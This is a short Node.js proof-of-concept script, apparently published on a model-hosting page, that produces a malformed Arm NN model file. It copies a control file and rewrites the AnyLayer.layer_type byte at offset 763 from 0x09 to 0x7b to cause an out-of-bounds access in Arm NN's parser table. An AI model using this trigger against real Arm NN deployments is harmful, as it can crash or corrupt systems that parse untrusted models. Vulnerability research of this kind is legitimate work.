trevdatastreams's picture
Publish deterministic Arm NN parser-table OOB PoC
277dba7 verified
Raw
History Blame Contribute Delete
728 Bytes
import { readFile, writeFile } from "node:fs/promises";
const controlPath = new URL("./control.armnn", import.meta.url);
const triggerPath = new URL("./trigger.armnn", import.meta.url);
const bytes = await readFile(controlPath);
const discriminatorOffset = 763;
if (bytes.length !== 908 || bytes[discriminatorOffset] !== 0x09) {
throw new Error(
`unexpected control fixture at offset ${discriminatorOffset}: ` +
`length=${bytes.length}, byte=0x${bytes[discriminatorOffset]?.toString(16)}`,
);
}
bytes[discriminatorOffset] = 0x7b;
await writeFile(triggerPath, bytes);
console.log(
`wrote ${bytes.length} bytes; AnyLayer.layer_type byte ` +
`at offset ${discriminatorOffset} changed from 0x09 to 0x7b`,
);